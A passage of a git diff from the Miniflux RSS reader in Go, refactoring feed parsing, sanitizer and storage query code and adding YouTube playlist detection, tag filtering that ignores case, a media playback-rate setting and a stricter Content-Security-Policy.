Length string `xml:"length,attr"` } -func (r *rssItem) entryAuthor() string { - var author string - - switch { - case r.GooglePlayAuthor != "": - author = r.GooglePlayAuthor - case r.ItunesAuthor != "": - author = r.ItunesAuthor - case r.DublinCoreCreator != "": - author = r.DublinCoreCreator - case r.AtomAuthor.String() != "": - author = r.AtomAuthor.String() - case strings.Contains(r.Author.Inner, "<![CDATA["): - author = r.Author.Data - default: - author = r.Author.Inner +func (enclosure *RSSEnclosure) Size() int64 { + if strings.TrimSpace(enclosure.Length) == "" { + return 0 } - - return strings.TrimSpace(sanitizer.StripTags(author)) + size, _ := strconv.ParseInt(enclosure.Length, 10, 0) + return size } -func (r *rssItem) entryHash() string { - for _, value := range []string{r.GUID.Data, r.entryURL()} { - if value != "" { - return crypto.Hash(value) - } - } - - return "" +type RSSGUID struct { + Data string `xml:",chardata"` + IsPermaLink string `xml:"isPermaLink,attr"` } -func (r *rssItem) entryTitle() string { - title := r.Title - - if r.DublinCoreTitle != "" { - title = r.DublinCoreTitle - } - - return html.UnescapeString(strings.TrimSpace(title)) -} - -func (r *rssItem) entryContent() string { - for _, value := range []string{ - r.DublinCoreContent, - r.Description, - r.GooglePlayDescription, - r.ItunesSummary, - r.ItunesSubtitle, - } { - if value != "" { - return value - } - } - return "" -} - -func (r *rssItem) entryURL() string { - for _, link := range []string{r.FeedBurnerLink, r.Link} { - if link != "" { - return strings.TrimSpace(link) - } - } - - for _, atomLink := range r.AtomLinks.Links { - if atomLink.URL != "" && (strings.EqualFold(atomLink.Rel, "alternate") || atomLink.Rel == "") { - return strings.TrimSpace(atomLink.URL) - } - } - - // Specs: https://cyber.harvard.edu/rss/rss.html#ltguidgtSubelementOfLtitemgt - // isPermaLink is optional, its default value is true. - // If its value is false, the guid may not be assumed to be a url, or a url to anything in particular. - if r.GUID.IsPermaLink == "true" || r.GUID.IsPermaLink == "" { - return strings.TrimSpace(r.GUID.Data) - } - - return "" -} - -func (r *rssItem) entryEnclosures() model.EnclosureList { - enclosures := make(model.EnclosureList, 0) - duplicates := make(map[string]bool) - - for _, mediaThumbnail := range r.AllMediaThumbnails() { - if _, found := duplicates[mediaThumbnail.URL]; !found { - duplicates[mediaThumbnail.URL] = true - enclosures = append(enclosures, &model.Enclosure{ - URL: mediaThumbnail.URL, - MimeType: mediaThumbnail.MimeType(), - Size: mediaThumbnail.Size(), - }) - } - } - - for _, enclosure := range r.EnclosureLinks { - enclosureURL := enclosure.URL - - if r.FeedBurnerEnclosureLink != "" { - filename := path.Base(r.FeedBurnerEnclosureLink) - if strings.Contains(enclosureURL, filename) { - enclosureURL = r.FeedBurnerEnclosureLink - } - } - - if enclosureURL == "" { - continue - } - - if _, found := duplicates[enclosureURL]; !found { - duplicates[enclosureURL] = true - - enclosures = append(enclosures, &model.Enclosure{ - URL: enclosureURL, - MimeType: enclosure.Type, - Size: enclosure.Size(), - }) - } - } - - for _, mediaContent := range r.AllMediaContents() { - if _, found := duplicates[mediaContent.URL]; !found { - duplicates[mediaContent.URL] = true - enclosures = append(enclosures, &model.Enclosure{ - URL: mediaContent.URL, - MimeType: mediaContent.MimeType(), - Size: mediaContent.Size(), - }) - } - } - - for _, mediaPeerLink := range r.AllMediaPeerLinks() { - if _, found := duplicates[mediaPeerLink.URL]; !found { - duplicates[mediaPeerLink.URL] = true - enclosures = append(enclosures, &model.Enclosure{ - URL: mediaPeerLink.URL, - MimeType: mediaPeerLink.MimeType(), - Size: mediaPeerLink.Size(), - }) - } - } - - return enclosures -} - -func (r *rssItem) entryCommentsURL() string { - commentsURL := strings.TrimSpace(r.Comments) - if commentsURL != "" && urllib.IsAbsoluteURL(commentsURL) { - return commentsURL - } - - return "" +type RSSSource struct { + URL string `xml:"url,attr"` + Name string `xml:",chardata"` } diff --git a/internal/reader/sanitizer/sanitizer.go b/internal/reader/sanitizer/sanitizer.go index 0a363279..7f063f04 100644 --- a/internal/reader/sanitizer/sanitizer.go +++ b/internal/reader/sanitizer/sanitizer.go @@ -190,17 +190,18 @@ func sanitizeAttributes(baseURL, tagName string, attributes []html.Attribute) ([ } if isExternalResourceAttribute(attribute.Key) { - if tagName == "iframe" { + switch { + case tagName == "iframe": if !isValidIframeSource(baseURL, attribute.Val) { continue } value = rewriteIframeURL(attribute.Val) - } else if tagName == "img" && attribute.Key == "src" && isValidDataAttribute(attribute.Val) { + case tagName == "img" && attribute.Key == "src" && isValidDataAttribute(attribute.Val): value = attribute.Val - } else if isAnchor("a", attribute) { + case isAnchor("a", attribute): value = attribute.Val isAnchorLink = true - } else { + default: value, err = urllib.AbsoluteURL(baseURL, value) if err != nil { continue diff --git a/internal/reader/sanitizer/strip_tags.go b/internal/reader/sanitizer/strip_tags.go index 763601e2..a9f898d8 100644 --- a/internal/reader/sanitizer/strip_tags.go +++ b/internal/reader/sanitizer/strip_tags.go @@ -27,8 +27,7 @@ func StripTags(input string) string { } token := tokenizer.Token() - switch token.Type { - case html.TextToken: + if token.Type == html.TextToken { buffer.WriteString(token.Data) } } diff --git a/internal/reader/scraper/scraper.go b/internal/reader/scraper/scraper.go index 0a0832d4..a5013c3d 100644 --- a/internal/reader/scraper/scraper.go +++ b/internal/reader/scraper/scraper.go @@ -10,12 +10,12 @@ import ( "strings" "miniflux.app/v2/internal/config" - "miniflux.app/v2/internal/reader/encoding" "miniflux.app/v2/internal/reader/fetcher" "miniflux.app/v2/internal/reader/readability" "miniflux.app/v2/internal/urllib" "github.com/PuerkitoBio/goquery" + "golang.org/x/net/html/charset" ) func ScrapeWebsite(requestBuilder *fetcher.RequestBuilder, websiteURL, rules string) (string, error) { @@ -42,9 +42,9 @@ func ScrapeWebsite(requestBuilder *fetcher.RequestBuilder, websiteURL, rules str var content string var err error - htmlDocumentReader, err := encoding.CharsetReaderFromContentType( - responseHandler.ContentType(), + htmlDocumentReader, err := charset.NewReader( responseHandler.Body(config.Opts.HTTPClientMaxBodySize()), + responseHandler.ContentType(), ) if err != nil { return "", fmt.Errorf("scraper: unable to read HTML document: %v", err) diff --git a/internal/reader/subscription/finder.go b/internal/reader/subscription/finder.go index 74123195..1b359a82 100644 --- a/internal/reader/subscription/finder.go +++ b/internal/reader/subscription/finder.go @@ -14,17 +14,18 @@ import ( "miniflux.app/v2/internal/integration/rssbridge" "miniflux.app/v2/internal/locale" "miniflux.app/v2/internal/model" - "miniflux.app/v2/internal/reader/encoding" "miniflux.app/v2/internal/reader/fetcher" "miniflux.app/v2/internal/reader/parser" "miniflux.app/v2/internal/urllib" "github.com/PuerkitoBio/goquery" + "golang.org/x/net/html/charset" ) var ( - youtubeChannelRegex = regexp.MustCompile(`youtube\.com/channel/(.*)$`) - youtubeVideoRegex = regexp.MustCompile(`youtube\.com/watch\?v=(.*)$`) + youtubeChannelRegex = regexp.MustCompile(`youtube\.com/channel/(.*)$`) + youtubeVideoRegex = regexp.MustCompile(`youtube\.com/watch\?v=(.*)$`) + youtubePlaylistRegex = regexp.MustCompile(`youtube\.com/playlist\?list=(.*)$`) ) type SubscriptionFinder struct { @@ -69,7 +70,7 @@ func (f *SubscriptionFinder) FindSubscriptions(websiteURL, rssBridgeURL string) } // Step 1) Check if the website URL is a feed. - if feedFormat := parser.DetectFeedFormat(f.feedResponseInfo.Content); feedFormat != parser.FormatUnknown { + if feedFormat, _ := parser.DetectFeedFormat(f.feedResponseInfo.Content); feedFormat != parser.FormatUnknown { f.feedDownloaded = true return Subscriptions{NewSubscription(responseHandler.EffectiveURL(), responseHandler.EffectiveURL(), feedFormat)}, nil } @@ -98,7 +99,19 @@ func (f *SubscriptionFinder) FindSubscriptions(websiteURL, rssBridgeURL string) return subscriptions, nil } - // Step 4) Parse web page to find feeds from HTML meta tags. + // Step 4) Check if the website URL is a YouTube playlist. + slog.Debug("Try to detect feeds from YouTube playlist page", slog.String("website_url", websiteURL)) + subscriptions, localizedError = f.FindSubscriptionsFromYouTubePlaylistPage(websiteURL) + if localizedError != nil { + return nil, localizedError + } + + if len(subscriptions) > 0 { + slog.Debug("Subscriptions found from YouTube playlist page", slog.String("website_url", websiteURL), slog.Any("subscriptions", subscriptions)) + return subscriptions, nil + } + + // Step 5) Parse web page to find feeds from HTML meta tags. slog.Debug("Try to detect feeds from HTML meta tags", slog.String("website_url", websiteURL), slog.String("content_type", responseHandler.ContentType()), @@ -113,7 +126,7 @@ func (f *SubscriptionFinder) FindSubscriptions(websiteURL, rssBridgeURL string) return subscriptions, nil } - // Step 5) Check if the website URL can use RSS-Bridge. + // Step 6) Check if the website URL can use RSS-Bridge. if rssBridgeURL != "" { slog.Debug("Try to detect feeds with RSS-Bridge", slog.String("website_url", websiteURL)) subscriptions, localizedError := f.FindSubscriptionsFromRSSBridge(websiteURL, rssBridgeURL) @@ -127,7 +140,7 @@ func (f *SubscriptionFinder) FindSubscriptions(websiteURL, rssBridgeURL string) } } - // Step 6) Check if the website has a known feed URL. + // Step 7) Check if the website has a known feed URL. slog.Debug("Try to detect feeds from well-known URLs", slog.String("website_url", websiteURL)) subscriptions, localizedError = f.FindSubscriptionsFromWellKnownURLs(websiteURL) if localizedError != nil { @@ -150,7 +163,7 @@ func (f *SubscriptionFinder) FindSubscriptionsFromWebPage(websiteURL, contentTyp "link[type='application/feed+json']": parser.FormatJSON, } - htmlDocumentReader, err := encoding.CharsetReaderFromContentType(contentType, body) + htmlDocumentReader, err := charset.NewReader(body, contentType) if err != nil { return nil, locale.NewLocalizedErrorWrapper(err, "error.unable_to_parse_html_document", err) } @@ -322,3 +335,16 @@ func (f *SubscriptionFinder) FindSubscriptionsFromYouTubeVideoPage(websiteURL st return nil, nil } + +func (f *SubscriptionFinder) FindSubscriptionsFromYouTubePlaylistPage(websiteURL string) (Subscriptions, *locale.LocalizedErrorWrapper) { + matches := youtubePlaylistRegex.FindStringSubmatch(websiteURL) + + if len(matches) == 2 { + feedURL := fmt.Sprintf(`https://www.youtube.com/feeds/videos.xml?playlist_id=%s`, matches[1]) + return Subscriptions{NewSubscription(websiteURL, feedURL, parser.FormatAtom)}, nil + } + + slog.Debug("This website is not a YouTube playlist page, the regex doesn't match", slog.String("website_url", websiteURL)) + + return nil, nil +} diff --git a/internal/reader/subscription/finder_test.go b/internal/reader/subscription/finder_test.go index 160b52cb..216d81cb 100644 --- a/internal/reader/subscription/finder_test.go +++ b/internal/reader/subscription/finder_test.go @@ -8,6 +8,28 @@ import ( "testing" ) +func TestFindYoutubePlaylistFeed(t *testing.T) { + scenarios := map[string]string{ + "https://www.youtube.com/playlist?list=PLOOwEPgFWm_NHcQd9aCi5JXWASHO_n5uR": "https://www.youtube.com/feeds/videos.xml?playlist_id=PLOOwEPgFWm_NHcQd9aCi5JXWASHO_n5uR", + "https://www.youtube.com/playlist?list=PLOOwEPgFWm_N42HlCLhqyJ0ZBWr5K1QDM": "https://www.youtube.com/feeds/videos.xml?playlist_id=PLOOwEPgFWm_N42HlCLhqyJ0ZBWr5K1QDM", + } + + for websiteURL, expectedFeedURL := range scenarios { + subscriptions, localizedError := NewSubscriptionFinder(nil).FindSubscriptionsFromYouTubePlaylistPage(websiteURL) + if localizedError != nil { + t.Fatalf(`Parsing a correctly formatted YouTube playlist page should not return any error: %v`, localizedError) + } + + if len(subscriptions) != 1 { + t.Fatal(`Incorrect number of subscriptions returned`) + } + + if subscriptions[0].URL != expectedFeedURL { + t.Errorf(`Unexpected Feed, got %s, instead of %s`, subscriptions[0].URL, expectedFeedURL) + } + } +} + func TestFindYoutubeChannelFeed(t *testing.T) { scenarios := map[string]string{ "https://www.youtube.com/channel/UC-Qj80avWItNRjkZ41rzHyw": "https://www.youtube.com/feeds/videos.xml?channel_id=UC-Qj80avWItNRjkZ41rzHyw", diff --git a/internal/reader/xml/decoder.go b/internal/reader/xml/decoder.go index 76f55cd1..7c4e2235 100644 --- a/internal/reader/xml/decoder.go +++ b/internal/reader/xml/decoder.go @@ -66,7 +66,7 @@ func filterValidXMLChar(r rune) rune { func procInst(param, s string) string { // TODO: this parsing is somewhat lame and not exact. // It works for all actual cases, though. - param = param + "=" + param += "=" idx := strings.Index(s, param) if idx == -1 { return "" diff --git a/internal/storage/batch.go b/internal/storage/batch.go index 107d480e..bf6a0d24 100644 --- a/internal/storage/batch.go +++ b/internal/storage/batch.go @@ -60,18 +60,16 @@ func (b *BatchBuilder) WithoutDisabledFeeds() *BatchBuilder { } func (b *BatchBuilder) FetchJobs() (jobs model.JobList, err error) { - var parts []string - parts = append(parts, `SELECT id, user_id FROM feeds`) + query := `SELECT id, user_id FROM feeds` if len(b.conditions) > 0 { - parts = append(parts, fmt.Sprintf("WHERE %s", strings.Join(b.conditions, " AND "))) + query += fmt.Sprintf(" WHERE %s", strings.Join(b.conditions, " AND ")) } if b.limit > 0 { - parts = append(parts, fmt.Sprintf("ORDER BY next_check_at ASC LIMIT %d", b.limit)) + query += fmt.Sprintf(" ORDER BY next_check_at ASC LIMIT %d", b.limit) } - query := strings.Join(parts, " ") rows, err := b.db.Query(query, b.args...) if err != nil { return nil, fmt.Errorf(`store: unable to fetch batch of jobs: %v`, err) diff --git a/internal/storage/category.go b/internal/storage/category.go index c3ea5534..c7270e9b 100644 --- a/internal/storage/category.go +++ b/internal/storage/category.go @@ -133,12 +133,12 @@ func (s *Storage) CategoriesWithFeedCount(userID int64) (model.Categories, error ` if user.CategoriesSortingOrder == "alphabetical" { - query = query + ` + query += ` ORDER BY c.title ASC ` } else { - query = query + ` + query += ` ORDER BY count_unread DESC, c.title ASC @@ -255,14 +255,14 @@ func (s *Storage) RemoveAndReplaceCategoriesByName(userid int64, titles []string } query = ` - WITH d_cats AS (SELECT id FROM categories WHERE user_id = $1 AND title = ANY($2)) - UPDATE feeds - SET category_id = - (SELECT id - FROM categories - WHERE user_id = $1 AND id NOT IN (SELECT id FROM d_cats) - ORDER BY title ASC - LIMIT 1) + WITH d_cats AS (SELECT id FROM categories WHERE user_id = $1 AND title = ANY($2)) + UPDATE feeds + SET category_id = + (SELECT id + FROM categories + WHERE user_id = $1 AND id NOT IN (SELECT id FROM d_cats) + ORDER BY title ASC + LIMIT 1) WHERE user_id = $1 AND category_id IN (SELECT id FROM d_cats) ` _, err = tx.Exec(query, userid, titleParam) diff --git a/internal/storage/entry.go b/internal/storage/entry.go index b8468550..f22a424b 100644 --- a/internal/storage/entry.go +++ b/internal/storage/entry.go @@ -8,6 +8,8 @@ import ( "errors" "fmt" "log/slog" + "slices" + "strings" "time" "miniflux.app/v2/internal/crypto" @@ -138,7 +140,7 @@ func (s *Storage) createEntry(tx *sql.Tx, entry *model.Entry) error { entry.UserID, entry.FeedID, entry.ReadingTime, - pq.Array(removeDuplicates(entry.Tags)), + pq.Array(removeEmpty(removeDuplicates(entry.Tags))), ).Scan( &entry.ID, &entry.Status, @@ -194,7 +196,7 @@ func (s *Storage) updateEntry(tx *sql.Tx, entry *model.Entry) error { entry.UserID, entry.FeedID, entry.Hash, - pq.Array(removeDuplicates(entry.Tags)), + pq.Array(removeEmpty(removeDuplicates(entry.Tags))), ).Scan(&entry.ID) if err != nil { @@ -223,24 +225,27 @@ func (s *Storage) entryExists(tx *sql.Tx, entry *model.Entry) (bool, error) { return result, nil } -// GetReadTime fetches the read time of an entry based on its hash, and the feed id and user id from the feed. -// It's intended to be used on entries objects created by parsing a feed as they don't contain much information. -// The feed param helps to scope the search to a specific user and feed in order to avoid hash clashes. -func (s *Storage) GetReadTime(entry *model.Entry, feed *model.Feed) int { +func (s *Storage) IsNewEntry(feedID int64, entryHash string) bool { + var result bool + s.db.QueryRow(`SELECT true FROM entries WHERE feed_id=$1 AND hash=$2`, feedID, entryHash).Scan(&result) + return !result +} + +func (s *Storage) GetReadTime(feedID int64, entryHash string) int { var result int + + // Note: This query uses entries_feed_id_hash_key index s.db.QueryRow( `SELECT reading_time FROM entries WHERE - user_id=$1 AND - feed_id=$2 AND - hash=$3 + feed_id=$1 AND + hash=$2 `, - feed.UserID, - feed.ID, - entry.Hash, + feedID, + entryHash, ).Scan(&result) return result } @@ -573,14 +578,6 @@ func (s *Storage) MarkCategoryAsRead(userID, categoryID int64, before time.Time) return nil } -// EntryURLExists returns true if an entry with this URL already exists. -func (s *Storage) EntryURLExists(feedID int64, entryURL string) bool { - var result bool - query := `SELECT true FROM entries WHERE feed_id=$1 AND url=$2` - s.db.QueryRow(query, feedID, entryURL).Scan(&result) - return result -} - // EntryShareCode returns the share code of the provided entry. // It generates a new one if not already defined. func (s *Storage) EntryShareCode(userID int64, entryID int64) (shareCode string, err error) { @@ -615,15 +612,17 @@ func (s *Storage) UnshareEntry(userID int64, entryID int64) (err error) { return } -// removeDuplicate removes duplicate entries from a slice -func removeDuplicates[T string | int](sliceList []T) []T { - allKeys := make(map[T]bool) - list := []T{} - for _, item := range sliceList { - if _, value := allKeys[item]; !value { - allKeys[item] = true - list = append(list, item) +func removeDuplicates(l []string) []string { + slices.Sort(l) + return slices.Compact(l) +} + +func removeEmpty(l []string) []string { + var finalSlice []string + for _, item := range l { + if strings.TrimSpace(item) != "" { + finalSlice = append(finalSlice, item) } } - return list + return finalSlice } diff --git a/internal/storage/entry_pagination_builder.go b/internal/storage/entry_pagination_builder.go index bab478d3..9779f245 100644 --- a/internal/storage/entry_pagination_builder.go +++ b/internal/storage/entry_pagination_builder.go @@ -58,6 +58,15 @@ func (e *EntryPaginationBuilder) WithStatus(status string) { } } +func (e *EntryPaginationBuilder) WithTags(tags []string) { + if len(tags) > 0 { + for _, tag := range tags { + e.conditions = append(e.conditions, fmt.Sprintf("LOWER($%d) = ANY(LOWER(e.tags::text)::text[])", len(e.args)+1)) + e.args = append(e.args, tag) + } + } +} + // WithGloballyVisible adds global visibility to the condition. func (e *EntryPaginationBuilder) WithGloballyVisible() { e.conditions = append(e.conditions, "not c.hide_globally") diff --git a/internal/storage/entry_query_builder.go b/internal/storage/entry_query_builder.go index 70d04e25..9ab26738 100644 --- a/internal/storage/entry_query_builder.go +++ b/internal/storage/entry_query_builder.go @@ -160,7 +160,7 @@ func (e *EntryQueryBuilder) WithStatuses(statuses []string) *EntryQueryBuilder { func (e *EntryQueryBuilder) WithTags(tags []string) *EntryQueryBuilder { if len(tags) > 0 { for _, cat := range tags { - e.conditions = append(e.conditions, fmt.Sprintf("$%d = ANY(e.tags)", len(e.args)+1)) + e.conditions = append(e.conditions, fmt.Sprintf("LOWER($%d) = ANY(LOWER(e.tags::text)::text[])", len(e.args)+1)) e.args = append(e.args, cat) } } @@ -439,21 +439,21 @@ func (e *EntryQueryBuilder) buildCondition() string { } func (e *EntryQueryBuilder) buildSorting() string { - var parts []string + var parts string if len(e.sortExpressions) > 0 { - parts = append(parts, fmt.Sprintf(`ORDER BY %s`, strings.Join(e.sortExpressions, ", "))) + parts += fmt.Sprintf(" ORDER BY %s", strings.Join(e.sortExpressions, ", ")) } if e.limit > 0 { - parts = append(parts, fmt.Sprintf(`LIMIT %d`, e.limit)) + parts += fmt.Sprintf(" LIMIT %d", e.limit) } if e.offset > 0 { - parts = append(parts, fmt.Sprintf(`OFFSET %d`, e.offset)) + parts += fmt.Sprintf(" OFFSET %d", e.offset) } - return strings.Join(parts, " ") + return parts } // NewEntryQueryBuilder returns a new EntryQueryBuilder. diff --git a/internal/storage/feed_query_builder.go b/internal/storage/feed_query_builder.go index bceaf4ed..e12107ec 100644 --- a/internal/storage/feed_query_builder.go +++ b/internal/storage/feed_query_builder.go @@ -91,25 +91,25 @@ func (f *FeedQueryBuilder) buildCounterCondition() string { } func (f *FeedQueryBuilder) buildSorting() string { - var parts []string + var parts string if len(f.sortExpressions) > 0 { - parts = append(parts, fmt.Sprintf(`ORDER BY %s`, strings.Join(f.sortExpressions, ", "))) + parts += fmt.Sprintf(" ORDER BY %s", strings.Join(f.sortExpressions, ", ")) } if len(parts) > 0 { - parts = append(parts, ", lower(f.title) ASC") + parts += ", lower(f.title) ASC" } if f.limit > 0 { - parts = append(parts, fmt.Sprintf(`LIMIT %d`, f.limit)) + parts += fmt.Sprintf(" LIMIT %d", f.limit) } if f.offset > 0 { - parts = append(parts, fmt.Sprintf(`OFFSET %d`, f.offset)) + parts += fmt.Sprintf(" OFFSET %d", f.offset) } - return strings.Join(parts, " ") + return parts } // GetFeed returns a single feed that match the condition. diff --git a/internal/storage/user.go b/internal/storage/user.go index b3d50a17..4f30ac0d 100644 --- a/internal/storage/user.go +++ b/internal/storage/user.go @@ -91,7 +91,8 @@ func (s *Storage) CreateUser(userCreationRequest *model.UserCreationRequest) (*m cjk_reading_speed, default_home_page, categories_sorting_order, - mark_read_on_view + mark_read_on_view, + media_playback_rate ` tx, err := s.db.Begin() @@ -130,6 +131,7 @@ func (s *Storage) CreateUser(userCreationRequest *model.UserCreationRequest) (*m &user.DefaultHomePage, &user.CategoriesSortingOrder, &user.MarkReadOnView, + &user.MediaPlaybackRate, ) if err != nil { tx.Rollback() @@ -186,9 +188,10 @@ func (s *Storage) UpdateUser(user *model.User) error { cjk_reading_speed=$19, default_home_page=$20, categories_sorting_order=$21, - mark_read_on_view=$22 + mark_read_on_view=$22, + media_playback_rate=$23 WHERE - id=$23 + id=$24 ` _, err = s.db.Exec( @@ -215,6 +218,7 @@ func (s *Storage) UpdateUser(user *model.User) error { user.DefaultHomePage, user.CategoriesSortingOrder, user.MarkReadOnView, + user.MediaPlaybackRate, user.ID, ) if err != nil { @@ -243,9 +247,10 @@ func (s *Storage) UpdateUser(user *model.User) error { cjk_reading_speed=$18, default_home_page=$19, categories_sorting_order=$20, - mark_read_on_view=$21 + mark_read_on_view=$21, + media_playback_rate=$22 WHERE - id=$22 + id=$23 ` _, err := s.db.Exec( @@ -271,6 +276,7 @@ func (s *Storage) UpdateUser(user *model.User) error { user.DefaultHomePage, user.CategoriesSortingOrder, user.MarkReadOnView, + user.MediaPlaybackRate, user.ID, ) @@ -318,7 +324,8 @@ func (s *Storage) UserByID(userID int64) (*model.User, error) { cjk_reading_speed, default_home_page, categories_sorting_order, - mark_read_on_view + mark_read_on_view, + media_playback_rate FROM users WHERE @@ -353,7 +360,8 @@ func (s *Storage) UserByUsername(username string) (*model.User, error) { cjk_reading_speed, default_home_page, categories_sorting_order, - mark_read_on_view + mark_read_on_view, + media_playback_rate FROM users WHERE @@ -388,7 +396,8 @@ func (s *Storage) UserByField(field, value string) (*model.User, error) { cjk_reading_speed, default_home_page, categories_sorting_order, - mark_read_on_view + mark_read_on_view, + media_playback_rate FROM users WHERE @@ -430,7 +439,8 @@ func (s *Storage) UserByAPIKey(token string) (*model.User, error) { u.cjk_reading_speed, u.default_home_page, u.categories_sorting_order, - u.mark_read_on_view + u.mark_read_on_view, + media_playback_rate FROM users u LEFT JOIN @@ -467,6 +477,7 @@ func (s *Storage) fetchUser(query string, args ...interface{}) (*model.User, err &user.DefaultHomePage, &user.CategoriesSortingOrder, &user.MarkReadOnView, + &user.MediaPlaybackRate, ) if err == sql.ErrNoRows { @@ -574,7 +585,8 @@ func (s *Storage) Users() (model.Users, error) { cjk_reading_speed, default_home_page, categories_sorting_order, - mark_read_on_view + mark_read_on_view, + media_playback_rate FROM users ORDER BY username ASC @@ -612,6 +624,7 @@ func (s *Storage) Users() (model.Users, error) { &user.DefaultHomePage, &user.CategoriesSortingOrder, &user.MarkReadOnView, + &user.MediaPlaybackRate, ) if err != nil { diff --git a/internal/template/functions.go b/internal/template/functions.go index f8aa2bbd..cfbfc53d 100644 --- a/internal/template/functions.go +++ b/internal/template/functions.go @@ -8,6 +8,7 @@ import ( "html/template" "math" "net/mail" + "net/url" "slices" "strings" "time" @@ -16,8 +17,8 @@ import ( "miniflux.app/v2/internal/crypto" "miniflux.app/v2/internal/http/route" "miniflux.app/v2/internal/locale" + "miniflux.app/v2/internal/mediaproxy" "miniflux.app/v2/internal/model" - "miniflux.app/v2/internal/proxy" "miniflux.app/v2/internal/timezone" "miniflux.app/v2/internal/urllib" @@ -57,19 +58,19 @@ func (f *funcMap) Map() template.FuncMap { return template.HTML(str) }, "proxyFilter": func(data string) string { - return proxy.ProxyRewriter(f.router, data) + return mediaproxy.RewriteDocumentWithRelativeProxyURL(f.router, data) }, "proxyURL": func(link string) string { - proxyOption := config.Opts.ProxyOption() + mediaProxyMode := config.Opts.MediaProxyMode() - if proxyOption == "all" || (proxyOption != "none" && !urllib.IsHTTPS(link)) { - return proxy.ProxifyURL(f.router, link) + if mediaProxyMode == "all" || (mediaProxyMode != "none" && !urllib.IsHTTPS(link)) { + return mediaproxy.ProxifyRelativeURL(f.router, link) } return link }, "mustBeProxyfied": func(mediaType string) bool { - return slices.Contains(config.Opts.ProxyMediaTypes(), mediaType) + return slices.Contains(config.Opts.MediaProxyResourceTypes(), mediaType) }, "domain": urllib.Domain, "hasPrefix": strings.HasPrefix, @@ -91,8 +92,9 @@ func (f *funcMap) Map() template.FuncMap { "nonce": func() string { return crypto.GenerateRandomStringHex(16) }, - "deRef": func(i *int) int { return *i }, - "duration": duration, + "deRef": func(i *int) int { return *i }, + "duration": duration, + "urlEncode": url.PathEscape, // These functions are overrode at runtime after the parsing. "elapsed": func(timezone string, t time.Time) string { diff --git a/internal/template/templates/common/layout.html b/internal/template/templates/common/layout.html index d1786fc6..19019c1e 100644 --- a/internal/template/templates/common/layout.html +++ b/internal/template/templates/common/layout.html @@ -36,10 +36,10 @@ {{ if and .user .user.Stylesheet }} {{ $stylesheetNonce := nonce }} - <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src * data:; media-src *; frame-src *; style-src 'self' 'nonce-{{ $stylesheetNonce }}'"> + <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src * data:; media-src *; frame-src *; style-src 'self' 'nonce-{{ $stylesheetNonce }}'; require-trusted-types-for 'script'; trusted-types ttpolicy;"> <style nonce="{{ $stylesheetNonce }}">{{ .user.Stylesheet | safeCSS }}</style> {{ else }} - <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src * data:; media-src *; frame-src *"> + <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src * data:; media-src *; frame-src *; require-trusted-types-for 'script'; trusted-types ttpolicy;"> {{ end }} <script src="{{ route "javascript" "name" "app" "checksum" .app_js_checksum }}" defer></script> @@ -154,6 +154,8 @@ <li>{{ t "page.keyboard_shortcuts.go_to_previous_item" }} = <strong>p</strong>, <strong>k</strong>, <strong>⏴</strong></li> <li>{{ t "page.keyboard_shortcuts.go_to_next_item" }} = <strong>n</strong>, <strong>j</strong>, <strong>⏵</strong></li> <li>{{ t "page.keyboard_shortcuts.go_to_feed" }} = <strong>F</strong></li> + <li>{{ t "page.keyboard_shortcuts.go_to_top_item" }} = <strong>g + g</strong></li> + <li>{{ t "page.keyboard_shortcuts.go_to_bottom_item" }} = <strong>G</strong></li> </ul> <p>{{ t "page.keyboard_shortcuts.subtitle.pages" }}</p> diff --git a/internal/template/templates/views/entry.html b/internal/template/templates/views/entry.html index 6a4ed9c5..48f3c5fe 100644 --- a/internal/template/templates/views/entry.html +++ b/internal/template/templates/views/entry.html @@ -135,7 +135,7 @@ {{ if .entry.Tags }} <div class="entry-tags"> {{ t "entry.tags.label" }} - {{range $i, $e := .entry.Tags}}{{if $i}}, {{end}}<strong>{{ $e }}</strong>{{end}} + {{range $i, $e := .entry.Tags}}{{if $i}}, {{end}}<a href="{{ route "tagEntriesAll" "tagName" (urlEncode $e) }}"><strong>{{ $e }}</strong></a>{{end}} </div> {{ end }} <div class="entry-date"> @@ -172,6 +172,7 @@ <div class="enclosure-audio" > <audio controls preload="metadata" data-last-position="{{ .MediaProgression }}" + {{ if $.user.MediaPlaybackRate }}data-playback-rate="{{ $.user.MediaPlaybackRate }}"{{ end }} data-save-url="{{ route "saveEnclosureProgression" "enclosureID" .ID }}" > {{ if (and $.user (mustBeProxyfied "audio")) }} @@ -185,6 +186,7 @@ <div class="enclosure-video"> <video controls preload="metadata" data-last-position="{{ .MediaProgression }}" + {{ if $.user.MediaPlaybackRate }}data-playback-rate="{{ $.user.MediaPlaybackRate }}"{{ end }} data-save-url="{{ route "saveEnclosureProgression" "enclosureID" .ID }}" > {{ if (and $.user (mustBeProxyfied "video")) }} @@ -214,6 +216,7 @@ <div class="enclosure-audio"> <audio controls preload="metadata" data-last-position="{{ .MediaProgression }}" + {{ if $.user.MediaPlaybackRate }}data-playback-rate="{{ $.user.MediaPlaybackRate }}"{{ end }} data-save-url="{{ route "saveEnclosureProgression" "enclosureID" .ID }}" > {{ if (and $.user (mustBeProxyfied "audio")) }} @@ -227,6 +230,7 @@ <div class="enclosure-video"> <video controls preload="metadata" data-last-position="{{ .MediaProgression }}" + {{ if $.user.MediaPlaybackRate }}data-playback-rate="{{ $.user.MediaPlaybackRate }}"{{ end }} data-save-url="{{ route "saveEnclosureProgression" "enclosureID" .ID }}" > {{ if (and $.user (mustBeProxyfied "video")) }} diff --git a/internal/template/templates/views/settings.html b/internal/template/templates/views/settings.html index 9846d893..0be77f62 100644 --- a/internal/template/templates/views/settings.html +++ b/internal/template/templates/views/settings.html @@ -108,6 +108,9 @@ <label for="form-default-reading-speed">{{ t "form.prefs.label.default_reading_speed" }}</label> <input type="number" name="default_reading_speed" id="form-default-reading-speed" value="{{ .form.DefaultReadingSpeed }}" min="1"> + <label for="form-media-playback-rate">{{ t "form.prefs.label.media_playback_rate" }}</label> + <input type="number" name="media_playback_rate" id="form-media-playback-rate" value="{{ .form.MediaPlaybackRate }}" min="0.25" max="4" step="any" /> + <label><input type="checkbox" name="show_reading_time" value="1" {{ if .form.ShowReadingTime }}checked{{ end }}> {{ t "form.prefs.label.show_reading_time" }}</label> <label><input type="checkbox" name="mark_read_on_view" value="1" {{ if .form.MarkReadOnView }}checked{{ end }}> {{ t "form.prefs.label.mark_read_on_view" }}</label> diff --git 